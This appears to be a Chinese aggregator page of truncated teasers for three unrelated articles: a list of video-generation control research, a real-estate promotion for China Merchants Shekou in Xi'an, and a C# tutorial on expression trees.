工作清单 上游应用方向:控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...

招商蛇口 | 执笔CID,启幕低密生活新境
作为中国城市生长的力量,招商蛇口以“美好生活承载者”为使命,深耕全球111座城市,以央企担当匠造时代理想人居。从深圳湾的开拓基因到西安高新CID的战略落子,招商蛇口始终与城市发展同频共振,以建筑诠释对土地与生活的…...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...